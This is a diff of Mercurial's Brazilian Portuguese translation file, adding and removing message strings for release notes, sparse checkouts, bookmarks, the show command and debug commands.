+"O comando :hg:`releasenotes` fornecido por esta extensão\n"
+"automatiza esse processo.\n"
+
+msgid "New Features"
+msgstr "Novas Funcionalidades"
+
+msgid "Backwards Compatibility Changes"
+msgstr "Alterações de Compatibilidade com Versões Anteriores"
+
+msgid "Bug Fixes"
+msgstr "Correções de Defeitos"
+
+msgid "Performance Improvements"
+msgstr "Melhorias de Desempenho"
+
+msgid "API Changes"
+msgstr "Mudanças de API"
+
+msgid "Other Changes"
+msgstr "Outras Mudanças"
+
+#, python-format
+msgid "%s already exists in %s section; ignoring\n"
+msgstr "%s já existe na seção %s; ignorando\n"
+
+#, python-format
+msgid ".hgreleasenotes file '%s' not found"
+msgstr "arquivo '%s' no .hgreleasenotes não encontrado"
+
+#, python-format
+msgid "release notes directive %s lacks content"
+msgstr "diretiva %s de notas de liberação não tem conteúdo"
+
+#, python-format
+msgid "unexpected block in release notes directive %s"
+msgstr "bloco inesperado na diretiva de notas de liberação %s"
+
+#, python-format
+msgid "could not find content for release note %s"
+msgstr "não foi possível localizar conteúdo para nota de liberação %s"
+
+msgid "indented bullet lists not supported"
+msgstr "listas indentadas não são suportadas"
+
+#, python-format
+msgid "unexpected block type in release notes: %s"
+msgstr "tipo de bloco inesperado nas notas de liberação: %s"
+
+#, python-format
+msgid "unknown release notes section: %s"
+msgstr "seção de notas de liberação desconhecida: %s"
+
+#, python-format
+msgid "unsupported section type for %s"
+msgstr "tipo de seção não suportado para %s"
+
+msgid "revisions to process for release notes"
+msgstr "revisões a serem processadas para notas de liberação"
+
+msgid "[-r REV] FILE"
+msgstr "[-r REV] ARQUIVO"
+
+msgid "parse release notes from commit messages into an output file"
+msgstr ""
+"decodifica notas de liberação das mensagens de consolidação para um arquivo "
+"de saída"
+
+msgid ""
+"    Given an output file and set of revisions, this command will parse commit\n"
+"    messages for release notes then add them to the output file."
+msgstr ""
+"    Dado um arquivo de entrada e um conjunto de revisões,\n"
+"    este comando decodificará mensagens de consolidação para\n"
+"    notas de liberação e adicionará essas notas no arquivo de saída."
+
+msgid ""
+"    Release notes are defined in commit messages as ReStructuredText\n"
+"    directives. These have the form::"
+msgstr ""
+"    Notas de liberação são definidas em mensagens de consolidação\n"
+"    usando diretivas ReStructuredText . Estas têm o formato::"
+
+#. do not translate: .. directive::
+msgid "       .. directive:: title"
+msgstr "       .. directive:: title"
+
+msgid "          content"
+msgstr "          content"
+
+msgid ""
+"    Each ``directive`` maps to an output section in a generated release notes\n"
+"    file, which itself is ReStructuredText. For example, the ``.. feature::``\n"
+"    directive would map to a ``New Features`` section."
+msgstr ""
+"    Cada ``directive`` mapeia para uma seção de saída no\n"
+"    arquivo de notas de liberação, que também usa o formato\n"
+"    ReStructuredText. Por exemplo, a diretiva ``.. feature::``\n"
+"    mapearia para uma seção ``New Features``."
+
+msgid ""
+"    Release note directives can be either short-form or long-form. In short-\n"
+"    form, ``title`` is omitted and the release note is rendered as a bullet\n"
+"    list. In long form, a sub-section with the title ``title`` is added to the\n"
+"    section."
+msgstr ""
+"    As diretivas de notas de liberação podem ter formato curto\n"
+"    ou longo.\n"
+"    No formato curto, ``title`` é omitido e a nota é renderizada\n"
+"    como uma lista de pontos (\"bullet list\").\n"
+"    No formato longo, a sub-seção com o título ``title`` será\n"
+"    adicionada à seção."
+
+msgid ""
+"    The ``FILE`` argument controls the output file to write gathered release\n"
+"    notes to. The format of the file is::"
+msgstr ""
+"    O argumento ``ARQUIVO`` controla o arquivo de saída onde\n"
+"    serão gravadas as notas de liberação coletadas.\n"
+"    O formato do arquivo é::"
+
+msgid ""
+"       Section 1\n"
+"       ========="
+msgstr ""
+"       Seção 1\n"
+"       ======="
+
+msgid "       ..."
+msgstr "       ..."
+
+msgid ""
+"       Section 2\n"
+"       ========="
+msgstr ""
+"       Secão 2\n"
+"       ======="
+
+msgid "    Only sections with defined release notes are emitted."
+msgstr "    São emitidas apenas seções com notas de liberação definidas."
+
+msgid ""
+"    If a section only has short-form notes, it will consist of bullet list::"
+msgstr ""
+"    Se uma seção só tiver notas em formato curto, ela consistirá de uma "
+"lista de pontos::"
+
+msgid ""
+"       Section\n"
+"       ======="
+msgstr ""
+"       Seção\n"
+"       ====="
+
+msgid ""
+"       * Release note 1\n"
+"       * Release note 2"
+msgstr ""
+"       * Nota 1\n"
+"       * Nota 2"
+
+msgid "    If a section has long-form notes, sub-sections will be emitted::"
+msgstr ""
+"    Se uma seção contiver notas com formato longo, serão emitidas sub-"
+"seções::"
+
+msgid ""
+"       Note 1 Title\n"
+"       ------------"
+msgstr ""
+"       Título da Nota 1\n"
+"       ----------------"
+
+msgid "       Description of the first long-form note."
+msgstr "       Descrição da primeira nota de formato longo."
+
+msgid ""
+"       Note 2 Title\n"
+"       ------------"
+msgstr ""
+"       Título da Nota 2\n"
+"       ----------------"
+
+msgid "       Description of the second long-form note."
+msgstr "       Descrição da segunda nota de formato longo."
+
+msgid ""
+"    If the ``FILE`` argument points to an existing file, that file will be\n"
+"    parsed for release notes having the format that would be generated by this\n"
+"    command. The notes from the processed commit messages will be *merged*\n"
+"    into this parsed set."
+msgstr ""
+"    Se o argumento ``ARQUIVO`` apontar para um arquivo existente,\n"
+"    tal arquivo será decodificado para obter notas de liberação\n"
+"    de acordo com o formato que seria gerado por este comando.\n"
+"    As notas das mensagens de consolidação processadas serão\n"
+"    *mescladas* neste conjunto."
+
+msgid "    During release notes merging:"
+msgstr "    Durante a mesclagem de notas de liberação:"
+
+msgid ""
+"    * Duplicate items are automatically ignored\n"
+"    * Items that are different are automatically ignored if the similarity is\n"
+"      greater than a threshold."
+msgstr ""
+"    * Itens duplicados serão automaticamente ignorados\n"
+"    * Itens diferentes serão automaticamente ignorados se a similaridade\n"
+"      ultrapassar um determinado limiar."
+
+msgid ""
+"    This means that the release notes file can be updated independently from\n"
+"    this command and changes should not be lost when running this command on\n"
+"    that file. A particular use case for this is to tweak the wording of a\n"
+"    release note after it has been added to the release notes file.\n"
+"    "
+msgstr ""
+"    Isto quer dizer que o arquivo de notas de liberação pode ser\n"
+"    alterado de forma independente deste comando, e as mudanças\n"
+"    não devem ser perdidas ao executar este comando no arquivo.\n"
+"    Um caso de uso em particular para esta funcionalidade é\n"
+"    ajustar o texto de uma nota de liberação após esta ser\n"
+"    adicionada ao arquivo de notas.\n"
+"    "
+
+msgid "parse release notes and print resulting data structure"
+msgstr ""
+"decodifica notas de liberação e imprime a estrutura de dados resultante"
+
+#, python-format
+msgid "section: %s\n"
+msgstr "seção: %s\n"
+
+#, python-format
+msgid "  subsection: %s\n"
+msgstr "  sub-seção: %s\n"
+
+#, python-format
+msgid "    paragraph: %s\n"
+msgstr "    parágrafo: %s\n"
+
+msgid "  bullet point:\n"
+msgstr "  ponto: %s\n"
+
 msgid "recreates hardlinks between repository clones"
 msgstr "recria hardlinks entre clones de repositórios"
 
@@ -10124,10 +10478,6 @@
 msgstr "nomes de mudanças engavetadas não podem começar com '.'"
 
 #, python-format
-msgid "too many shelved changes named '%s'"
-msgstr "excesso de mudanças engavetadas de nome '%s'"
-
-#, python-format
 msgid "nothing changed (%d missing files, see 'hg status')\n"
 msgstr "nada mudou (%d arquivos faltando, veja 'hg status')\n"
 
@@ -10461,10 +10811,41 @@
 msgid ""
 "This extension provides the :hg:`show` command, which provides a central\n"
 "command for displaying commonly-accessed repository data and views of that\n"
-"data.\n"
+"data."
 msgstr ""
 "Esta extensão fornece o comando :hg:`show`, que fornece uma exibição\n"
-"centralizada dos dados do repositório acessados com mais frequência.\n"
+"centralizada dos dados do repositório acessados com mais frequência\n"
+"e diferentes visualizações de tais dados."
+
+msgid "The following config options can influence operation."
+msgstr "As seguintes opções de configuração influenciam a operação."
+
+msgid ""
+"``commands``\n"
+"------------"
+msgstr ""
+"``commands``\n"
+"------------"
+
+msgid ""
+"``show.aliasprefix``\n"
+"   List of strings that will register aliases for views. e.g. ``s`` will\n"
+"   effectively set config options ``alias.s<view> = show <view>`` for all\n"
+"   views. i.e. `hg swork` would execute `hg show work`."
+msgstr ""
+"``show.aliasprefix``\n"
+"   Lista de strings que registrarão apelidos para visualizações.\n"
+"   Por exemplo, ``s`` efetivamente definirá as opções de configuração\n"
+"   ``alias.s<visualização> = show <visualização>`` para todas as\n"
+"   visualizações.\n"
+"   Ou seja, `hg swork` executaria `hg show work`."
+
+msgid ""
+"   Aliases that would conflict with existing registrations will not be\n"
+"   performed.\n"
+msgstr ""
+"   Apelidos que conflitem com registros existentes não\n"
+"   são adicionados.\n"
 
 msgid "show various repository information"
 msgstr "mostra diversas informações do repositório"
@@ -10500,6 +10881,9 @@
 msgid "    bookmarks   bookmarks and their associated changeset"
 msgstr "    bookmarks   marcadores e revisões associadas"
 
+msgid "    stack       current line of work"
+msgstr "    stack       linha de trabalho atual"
+
 msgid ""
 "    work        changesets that aren't finished\n"
 "    "
@@ -10535,12 +10919,246 @@
 msgid "(no bookmarks set)\n"
 msgstr "(nenhum marcador definido)\n"
 
+msgid "stack view only available when there is a working directory"
+msgstr ""
+"a visualização \"stack\" só está disponível se houver um diretório de "
+"trabalho"
+
+msgid "(empty stack; working directory parent is a published changeset)\n"
+msgstr "(\"stack\" vazia; o pai do diretório de trabalho é uma revisão pública)\n"
+
+#, python-format
+msgid "%d commits ahead"
+msgstr "%d revisões à frente"
+
+msgid "(stack head)\n"
+msgstr ""
+
+msgid "(multiple children)\n"
+msgstr "(múltiplas filhas)\n"
+
+msgid "(stack base)"
+msgstr ""
+
 msgid "commitage requires a string"
 msgstr "commitage requer uma string"
 
 msgid "headage requires a string"
 msgstr "headage requer uma string"
 
+msgid "allow sparse checkouts of the working directory (EXPERIMENTAL)"
+msgstr ""
+
+msgid ""
+"(This extension is not yet protected by backwards compatibility\n"
+"guarantees. Any aspect may break in future releases until this\n"
+"notice is removed.)"
+msgstr ""
+
+msgid ""
+"This extension allows the working directory to only consist of a\n"
+"subset of files for the revision. This allows specific files or\n"
+"directories to be explicitly included or excluded. Many repository\n"
+"operations have performance proportional to the number of files in\n"
+"the working directory. So only realizing a subset of files in the\n"
+"working directory can improve performance."
+msgstr ""
+
+msgid ""
+"Sparse Config Files\n"
+"-------------------"
+msgstr ""
+
+msgid ""
+"The set of files that are part of a sparse checkout are defined by\n"
+"a sparse config file. The file defines 3 things: includes (files to\n"
+"include in the sparse checkout), excludes (files to exclude from the\n"
+"sparse checkout), and profiles (links to other config files)."
+msgstr ""
+
+msgid ""
+"The file format is newline delimited. Empty lines and lines beginning\n"
+"with ``#`` are ignored."
+msgstr ""
+
+msgid ""
+"Lines beginning with ``%include `` denote another sparse config file\n"
+"to include. e.g. ``%include tests.sparse``. The filename is relative\n"
+"to the repository root."
+msgstr ""
+
+msgid ""
+"The special lines ``[include]`` and ``[exclude]`` denote the section\n"
+"for includes and excludes that follow, respectively. It is illegal to\n"
+"have ``[include]`` after ``[exclude]``."
+msgstr ""
+
+msgid ""
+"Non-special lines resemble file patterns to be added to either includes\n"
+"or excludes. The syntax of these lines is documented by :hg:`help patterns`.\n"
+"Patterns are interpreted as ``glob:`` by default and match against the\n"
+"root of the repository."
+msgstr ""
+
+msgid ""
+"Exclusion patterns take precedence over inclusion patterns. So even\n"
+"if a file is explicitly included, an ``[exclude]`` entry can remove it."
+msgstr ""
+
+msgid ""
+"For example, say you have a repository with 3 directories, ``frontend/``,\n"
+"``backend/``, and ``tools/``. ``frontend/`` and ``backend/`` correspond\n"
+"to different projects and it is uncommon for someone working on one\n"
+"to need the files for the other. But ``tools/`` contains files shared\n"
+"between both projects. Your sparse config files may resemble::"
+msgstr ""
+
+msgid ""
+"  # frontend.sparse\n"
+"  frontend/**\n"
+"  tools/**"
+msgstr ""
+
+msgid ""
+"  # backend.sparse\n"
+"  backend/**\n"
+"  tools/**"
+msgstr ""
+
+msgid ""
+"Say the backend grows in size. Or there's a directory with thousands\n"
+"of files you wish to exclude. You can modify the profile to exclude\n"
+"certain files::"
+msgstr ""
+
+msgid ""
+"  [include]\n"
+"  backend/**\n"
+"  tools/**"
+msgstr ""
+
+msgid ""
+"  [exclude]\n"
+"  tools/tests/**\n"
+msgstr ""
+
+#, python-format
+msgid "type '%s' has no property '%s'"
+msgstr "o tipo '%s' não tem a propriedade '%s'"
+
+msgid "too many flags specified."
+msgstr "opções demais especificadas."
+
+msgid ""
+"include file with `hg debugsparse --include <pattern>` or use `hg add -s "
+"<file>` to include file directory while adding"
+msgstr ""
+
+#, python-format
+msgid "cannot add '%s' - it is outside the sparse checkout"
+msgstr ""
+
+msgid "include files in the sparse checkout"
+msgstr ""
+
+msgid "exclude files in the sparse checkout"
+msgstr ""
+
+msgid "delete an include/exclude rule"
+msgstr ""
+
+msgid "allow changing rules even with pending changes"
+msgstr ""
+
+msgid "enables the specified profile"
+msgstr ""
+
+msgid "disables the specified profile"
+msgstr ""
+
+msgid "imports rules from a file"
+msgstr ""
+
+msgid "clears local include/exclude rules"
+msgstr ""
+
+msgid "updates the working after sparseness changes"
+msgstr ""
+
+msgid "makes the repo full again"
+msgstr ""
+
+msgid "[--OPTION] PATTERN..."
+msgstr "[--OPÇÃO] PADRÃO..."
+
+msgid "make the current checkout sparse, or edit the existing checkout"
+msgstr ""
+
+msgid ""
+"    The sparse command is used to make the current checkout sparse.\n"
+"    This means files that don't meet the sparse condition will not be\n"
+"    written to disk, or show up in any working copy operations. It does\n"
+"    not affect files in history in any way."
+msgstr ""
+
+msgid "    Passing no arguments prints the currently applied sparse rules."
+msgstr ""
+
+msgid ""
+"    --include and --exclude are used to add and remove files from the sparse\n"
+"    checkout. The effects of adding an include or exclude rule are applied\n"
+"    immediately. If applying the new rule would cause a file with pending\n"
+"    changes to be added or removed, the command will fail. Pass --force to\n"
+"    force a rule change even with pending changes (the changes on disk will\n"
+"    be preserved)."
+msgstr ""
+
+msgid ""
+"    --delete removes an existing include/exclude rule. The effects are\n"
+"    immediate."
+msgstr ""
+
+msgid ""
+"    --refresh refreshes the files on disk based on the sparse rules. This is\n"
+"    only necessary if .hg/sparse was changed by hand."
+msgstr ""
+
+msgid ""
+"    --enable-profile and --disable-profile accept a path to a .hgsparse file.\n"
+"    This allows defining sparse checkouts and tracking them inside the\n"
+"    repository. This is useful for defining commonly used sparse checkouts for\n"
+"    many people to use. As the profile definition changes over time, the sparse\n"
+"    checkout will automatically be updated appropriately, depending on which\n"
+"    changeset is checked out. Changes to .hgsparse are not applied until they\n"
+"    have been committed."
+msgstr ""
+
+msgid ""
+"    --import-rules accepts a path to a file containing rules in the .hgsparse\n"
+"    format, allowing you to add --include, --exclude and --enable-profile rules\n"
+"    in bulk. Like the --include, --exclude and --enable-profile switches, the\n"
+"    changes are applied immediately."
+msgstr ""
+
+msgid ""
+"    --clear-rules removes all local include and exclude rules, while leaving\n"
+"    any enabled profiles in place."
+msgstr ""
+
+msgid ""
+"    Returns 0 if editing the sparse checkout succeeds.\n"
+"    "
+msgstr ""
+
+msgid "too many flags specified"
+msgstr "opções demais especificadas"
+
+msgid "Temporarily Included Files (for merge/rebase):\n"
+msgstr "Arquivos Temporariamente Incluídos (para merge/rebase):\n"
+
+msgid "repo is not sparse\n"
+msgstr ""
+
 msgid "strip changesets and their descendants from history"
 msgstr "remove do histórico revisões e seus descendentes"
 
@@ -10649,10 +11267,6 @@
 "    tiverem sido enviadas para um repositório remoto, um comando pull\n"
 "    subsequente poderá trazê-las de volta."
 
-#, python-format
-msgid "bookmark '%s' not found"
-msgstr "marcador '%s' não encontrado"
-
 msgid "empty revision set"
 msgstr "conjunto vazio de revisões"
 
@@ -11211,6 +11825,25 @@
 msgstr "nenhum marcador ativo"
 
 #, python-format
+msgid "moving bookmark '%s' forward from %s\n"
+msgstr "movendo marcador '%s' para frente a partir de %s\n"
+
+#, python-format
+msgid "bookmark '%s' already exists (use -f to force)"
+msgstr "o marcador '%s' já existe (use -f para forçar)"
+
+msgid "a bookmark cannot have the name of an existing branch"
+msgstr "um marcador não pode ter o mesmo nome de um ramo existente"
+
+#, python-format
+msgid ""
+"bookmark %s matches a changeset hash\n"
+"(did you leave a -r out of an 'hg bookmark' command?)\n"
+msgstr ""
+"o marcador %s coincide com um identificador de revisão\n"
+"(você omitiu um -r em um comando 'hg bookmark'?)\n"
+
+#, python-format
 msgid "updating to active bookmark %s\n"
 msgstr "atualizando para o marcador ativo %s\n"
 
@@ -11265,6 +11898,16 @@
 msgid "deleted"
 msgstr "apagado"
 
+msgid "bookmark names cannot consist entirely of whitespace"
+msgstr "nomes de marcadores não podem conter apenas espaços em branco"
+
+#, python-format
+msgid "bookmark '%s' does not exist"
+msgstr "o marcador '%s' não existe"
+
+msgid "no bookmarks set\n"
+msgstr "nenhum marcador definido\n"
+
 msgid "not a Mercurial bundle"
 msgstr "não é um arquivo de bundle do Mercurial"
 
@@ -11324,6 +11967,9 @@
 msgid "push failed:"
 msgstr "o push falhou:"
 
+msgid "bad phase-heads bundle part"
+msgstr ""
+
 #, python-format
 msgid "%i new obsolescence markers\n"
 msgstr "%i novas marcações de obsolescência\n"
@@ -11366,9 +12012,6 @@
 msgid "chunks"
 msgstr "trechos"
 
-msgid "received changelog group is empty"
-msgstr "grupo de changelogs recebido é vazio"
-
 msgid "adding manifests\n"
 msgstr "adicionando manifestos\n"
 
@@ -11447,6 +12090,110 @@
 msgid "unexpected command: %s"
 msgstr "comando inesperado: %s"
 
+msgid "do not perform actions, just print output"
+msgstr "não realiza ações, apenas imprime a saída"
+
+msgid "specify ssh command to use"
+msgstr "especifica comando ssh a ser usado"
+
+msgid "specify hg command to run on the remote side"
+msgstr "especifica comando hg para executar do lado remoto"
+
+msgid "do not verify server certificate (ignoring web.cacerts config)"
+msgstr ""
+"não verifica o certificado do servidor (ignorando a opção de configuração "
+"web.cacerts)"
+
+msgid "PATTERN"
+msgstr "PADRÃO"
+
+msgid "include names matching the given patterns"
+msgstr "inclui nomes que casem com os padrões fornecidos"
+
+msgid "exclude names matching the given patterns"
+msgstr "exclui nomes que casem com os padrões fornecidos"
+
+msgid "read commit message from file"
+msgstr "lê de um arquivo a mensagem de consolidação"
+
+msgid "record the specified date as commit date"
+msgstr "grava a data especificada como data da consolidação"
+
+msgid "record the specified user as committer"
+msgstr "grava o usuário pedido como autor da consolidação"
+
+msgid "display with template (EXPERIMENTAL)"
+msgstr "exibe usando modelo (EXPERIMENTAL)"
+
+msgid "STYLE"
+msgstr "ESTILO"
+
+msgid "display using template map file (DEPRECATED)"
+msgstr "exibe usando arquivo de mapeamento de modelo (OBSOLETO)"
+
+msgid "display with template"
+msgstr "exibe usando modelo"
+
+msgid "do not show merges"
+msgstr "não mostra mesclagens"
+
+msgid "show the revision DAG"
+msgstr "mostra o grafo de revisões"
+
+msgid "treat all files as text"
+msgstr "trata todos os arquivos como texto"
+
+msgid "generate binary diffs in git mode (default)"
+msgstr "gera diffs binários em modo git (padrão)"
+
+msgid "omit dates from diff headers"
+msgstr "omite datas dos cabeçalhos de diff"
+
+msgid "ignore white space when comparing lines"
+msgstr "ignora espaços em branco ao comparar linhas"
+
+msgid "ignore changes in the amount of white space"
+msgstr "ignora mudanças na quantidade de espaços em branco"
+
+msgid "ignore changes whose lines are all blank"
+msgstr "ignora mudanças cujas linhas sejam todas brancas"
+
+msgid "omit a/ and b/ prefixes from filenames"
+msgstr "omite prefixos a/ e b/ dos nomes dos arquivos"
+
+msgid "show which function each change is in"
+msgstr "mostra em qual função está cada mudança"
+
+msgid "produce a diff that undoes the changes"
+msgstr "produz um diff que desfaz as mudanças"
+
+msgid "number of lines of context to show"
+msgstr "número de linhas de contexto a serem mostradas"
+
+msgid "DIR"
+msgstr "DIR"
+
+msgid "produce diffs relative to subdirectory"
+msgstr "produz diffs relativos ao subdiretório"
+
+msgid "SIMILARITY"
+msgstr "SIMILARIDADE"
+
+msgid "guess renamed files by similarity (0<=s<=100)"
+msgstr "infere arquivos renomeados por similaridade (0<=s<=100)"
+
+msgid "recurse into subrepositories"
+msgstr "trabalha em sub-repositórios recursivamente"
+
+msgid "open changelog"
+msgstr "abre o changelog"
+
+msgid "open manifest"
+msgstr "abre o manifesto"
+
+msgid "open directory manifest"
+msgstr "abre o manifesto do diretório"
+
 msgid "running non-interactively"
 msgstr "executando de forma não interativa"
 
@@ -11755,14 +12502,6 @@
 msgid "copying changeset %s to %s\n"
 msgstr "copiando revisão %s para %s\n"
 
-#, python-format
-msgid "stripping intermediate changeset %s\n"
-msgstr "removendo revisão intermediária %s\n"
-
-#, python-format
-msgid "stripping amended changeset %s\n"
-msgstr "removendo revisão emendada %s\n"
-
 msgid "Leave message empty to abort commit."
 msgstr "Deixe a mensagem vazia para abortar a consolidação."
 
@@ -11892,9 +12631,6 @@
 msgstr ""
 "diretório raiz do repositório ou nome de arquivo de bundle para sobreposição"
 
-msgid "DIR"
-msgstr "DIR"
-
 msgid "change working directory"
 msgstr "muda o diretório de trabalho"
 
@@ -11909,6 +12645,9 @@
 msgid "enable additional output"
 msgstr "habilita saída adicional"
 
+msgid "find the ancestor revision of two revisions in a given index"
+msgstr "encontra a revisão ancestral de duas revisões no índice dado"
+
 #. i18n: 'always', 'auto', 'never', and 'debug' are keywords
 #. and should not be translated
 msgid "when to colorize (boolean, always, auto, never, or debug)"
@@ -11952,6 +12691,9 @@
 msgid "output version information and exit"
 msgstr "exibe informação de versão e sai"
 
+msgid "apply a stream clone bundle file"
+msgstr "aplica um arquivo bundle de clone por stream"
+
 msgid "display help and exit"
 msgstr "exibe ajuda e sai"
 
@@ -11963,109 +12705,71 @@
 "quando paginar (booleana, ou \"always\" (sempre), \"never\" (nunca) ou "
 "\"auto\" (automaticamente))"
 
-msgid "do not perform actions, just print output"
-msgstr "não realiza ações, apenas imprime a saída"
-
-msgid "specify ssh command to use"
-msgstr "especifica comando ssh a ser usado"
-
-msgid "specify hg command to run on the remote side"
-msgstr "especifica comando hg para executar do lado remoto"
-
-msgid "do not verify server certificate (ignoring web.cacerts config)"
-msgstr ""
-"não verifica o certificado do servidor (ignorando a opção de configuração "
-"web.cacerts)"
-
-msgid "PATTERN"
-msgstr "PADRÃO"
-
-msgid "include names matching the given patterns"
-msgstr "inclui nomes que casem com os padrões fornecidos"
-
-msgid "exclude names matching the given patterns"
-msgstr "exclui nomes que casem com os padrões fornecidos"
-
-msgid "read commit message from file"
-msgstr "lê de um arquivo a mensagem de consolidação"
-
-msgid "record the specified date as commit date"
-msgstr "grava a data especificada como data da consolidação"
-
-msgid "record the specified user as committer"
-msgstr "grava o usuário pedido como autor da consolidação"
-
-msgid "display with template (EXPERIMENTAL)"
-msgstr "exibe usando modelo (EXPERIMENTAL)"
-
-msgid "STYLE"
-msgstr "ESTILO"
-
-msgid "display using template map file (DEPRECATED)"
-msgstr "exibe usando arquivo de mapeamento de modelo (OBSOLETO)"
-
-msgid "display with template"
-msgstr "exibe usando modelo"
-
-msgid "do not show merges"
-msgstr "não mostra mesclagens"
-
-msgid "show the revision DAG"
-msgstr "mostra o grafo de revisões"
-
-msgid "treat all files as text"
-msgstr "trata todos os arquivos como texto"
-
-msgid "generate binary diffs in git mode (default)"
-msgstr "gera diffs binários em modo git (padrão)"
-
-msgid "omit dates from diff headers"
-msgstr "omite datas dos cabeçalhos de diff"
-
-msgid "ignore white space when comparing lines"
-msgstr "ignora espaços em branco ao comparar linhas"
-
-msgid "ignore changes in the amount of white space"
-msgstr "ignora mudanças na quantidade de espaços em branco"
-
-msgid "ignore changes whose lines are all blank"
-msgstr "ignora mudanças cujas linhas sejam todas brancas"
-
-msgid "omit a/ and b/ prefixes from filenames"
-msgstr "omite prefixos a/ e b/ dos nomes dos arquivos"
-
-msgid "show which function each change is in"
-msgstr "mostra em qual função está cada mudança"
-
-msgid "produce a diff that undoes the changes"
-msgstr "produz um diff que desfaz as mudanças"
-
-msgid "number of lines of context to show"
-msgstr "número de linhas de contexto a serem mostradas"
-
-msgid "produce diffs relative to subdirectory"
-msgstr "produz diffs relativos ao subdiretório"
-
-msgid "SIMILARITY"
-msgstr "SIMILARIDADE"
-
-msgid "guess renamed files by similarity (0<=s<=100)"
-msgstr "infere arquivos renomeados por similaridade (0<=s<=100)"
-
-msgid "recurse into subrepositories"
-msgstr "trabalha em sub-repositórios recursivamente"
-
-msgid "open changelog"
-msgstr "abre o changelog"
-
-msgid "open manifest"
-msgstr "abre o manifesto"
-
-msgid "open directory manifest"
-msgstr "abre o manifesto do diretório"
-
-msgid "[OPTION]... [FILE]..."
-msgstr "[OPÇÃO]... [ARQUIVO]..."
+msgid "builds a repo with a given DAG from scratch in the current empty repo"
+msgstr ""
+"constrói um repositório do zero com um DAG dado em um repositório vazio "
+"existente"
+
+msgid ""
+"    The description of the DAG is read from stdin if not given on the\n"
+"    command line."
+msgstr ""
+"    Se não for passada na linha de comando, a descrição do DAG é lida\n"
+"    da entrada padrão."
+
+msgid "    Elements:"
+msgstr "    Elementos:"
+
+msgid ""
+"     - \"+n\" is a linear run of n nodes based on the current default parent\n"
+"     - \".\" is a single node based on the current default parent\n"
+"     - \"$\" resets the default parent to null (implied at the start);\n"
+"           otherwise the default parent is always the last node created\n"
+"     - \"<p\" sets the default parent to the backref p\n"
+"     - \"*p\" is a fork at parent p, which is a backref\n"
+"     - \"*p1/p2\" is a merge of parents p1 and p2, which are backrefs\n"
+"     - \"/p2\" is a merge of the preceding node and p2\n"
+"     - \":tag\" defines a local tag for the preceding node\n"
+"     - \"@branch\" sets the named branch for subsequent nodes\n"
+"     - \"#...\\n\" is a comment up to the end of the line"
+msgstr ""
+"     - \"+n\" é uma sequência linear de n nós baseada no pai default atual\n"
+"     - \".\" é um único nó baseado no pai default atual\n"
+"     - \"$\" redefine o pai default para null (valor usado no início);\n"
+"           de outra maneira o pai default é sempre o último nó criado\n"
+"     - \"<p\" define o pai default para a backref p\n"
+"     - \"*p\" é uma bifurcação no pai p, que é uma backref\n"
+"     - \"*p1/p2\" é uma mesclagem dos pais p1 e p2, que são backrefs\n"
+"     - \"/p2\" é uma mesclagem do nó anterior e p2\n"
+"     - \":tag\" define uma etiqueta local para o nó anterior\n"
+"     - \"@branch\" define o nome de ramo para nós subsequentes\n"
+"     - \"#...\\n\" é um comentário até o fim da linha"
+
+msgid "    Whitespace between the above elements is ignored."
+msgstr "    Espaços em branco entre os elementos acima são ignorados."
+
+msgid "    A backref is either"
+msgstr "    Uma backref pode ser"
+
+msgid ""
+"     - a number n, which references the node curr-n, where curr is the current\n"
+"       node, or\n"
+"     - the name of a local tag you placed earlier using \":tag\", or\n"
+"     - empty to denote the default parent."
+msgstr ""
+"     - um número n, que referencia o nó atual-n, ou\n"
+"     - o nome de uma tag local criada anteriormente com \":tag\", ou\n"
+"     - vazio, denotando o pai default."
+
+msgid ""
+"    All string valued-elements are either strictly alphanumeric, or must\n"
+"    be enclosed in double quotes (\"...\"), with \"\\\" as escape character.\n"
+"    "
+msgstr ""
+"    Todos os elementos com valores string devem ser ou estritamente\n"
+"    alfanuméricos, ou devem estar entre aspas duplas (\"...\"), usando\n"
+"    \"\\\" como caractere de escape.\n"
+"    "
 
 msgid "add the specified files on the next commit"
 msgstr "adiciona os arquivos especificados na próxima consolidação"
@@ -12300,6 +13004,9 @@
 msgid "show line number at the first appearance"
 msgstr "exibe números de linha na primeira ocorrência"
 
+msgid "revision to not display (EXPERIMENTAL)"
+msgstr "revisão a ser excluída da exibição (EXPERIMENTAL)"
+
 msgid "[-r REV] [-f] [-a] [-u] [-d] [-n] [-c] [-l] FILE..."
 msgstr "[-r REV] [-f] [-a] [-u] [-d] [-n] [-c] [-l] FILE..."
 
@@ -12344,10 +13051,19 @@
 msgid "at least one of -n/-c is required for -l"
 msgstr "ao menos uma das opções -n/-c é exigida para -l"
 
+msgid "lists the contents of a bundle"
+msgstr "lista o conteúdo de um bundle"
+
+msgid "validate the correctness of the current dirstate"
+msgstr "valida a exatidão do dirstate atual"
+
 #, python-format
 msgid "%s: binary file\n"
 msgstr "%s: arquivo binário\n"
 
+msgid "show available color, effects or style"
+msgstr "mostra cores, efeitos ou estilos disponíveis"
+
 msgid "do not pass files through decoders"
 msgstr "não passar arquivos por decodificadores"
 
@@ -12432,6 +13148,37 @@
 "    com sufixos removidos.\n"
 "    "
 
+msgid "create a stream clone bundle file"
+msgstr "cria um arquivo de bundle para clone por stream"
+
+msgid ""
+"    Stream bundles are special bundles that are essentially archives of\n"
+"    revlog files. They are commonly used for cloning very quickly.\n"
+"    "
+msgstr ""
+"    Stream bundles são bundles especiais, formados essencialmente\n"
+"    pelos arquivos revlog empacotados. Eles são comumente usados\n"
+"    para acelerar a clonagem.    "
+
+msgid "format the changelog or an index DAG as a concise textual description"
+msgstr ""
+"formata o changelog ou um índice DAG como uma representação textual concisa"
+
+msgid ""
+"    If you pass a revlog index, the revlog's DAG is emitted. If you list\n"
+"    revision numbers, they get labeled in the output as rN."
+msgstr ""
+"    Se você passar um índice de revlog, o DAG do revlog será emitido.\n"
+"    Se você listar números de revisão, eles serão rotulados na saída\n"
+"    como rN."
+
+msgid ""
+"    Otherwise, the changelog DAG of the current repo is emitted.\n"
+"    "
+msgstr ""
+"    Caso contrário, imprime o DAG do changelog do repositório atual.\n"
+"    "
+
 msgid "no working directory: please specify a revision"
 msgstr "sem cópia de trabalho: por favor especifique uma revisão"
 
@@ -12554,6 +13301,64 @@
 "    ou se houverem conflitos não resolvidos.\n"
 "    "
 
+msgid "dump the contents of a data file revision"
+msgstr "exibe o conteúdo de uma revisão de dados de arquivo"
+
+msgid "parse and display a date"
+msgstr "decodifica e exibe uma data"
+
+msgid "dump information about delta chains in a revlog"
+msgstr "extrai informações sobre cadeias de delta em um revlog"
+
+msgid "    Output can be templatized. Available template keywords are:"
+msgstr ""
+"    A saída pode ser customizada com modelos. As palavras chave disponíveis "
+"são:"
+
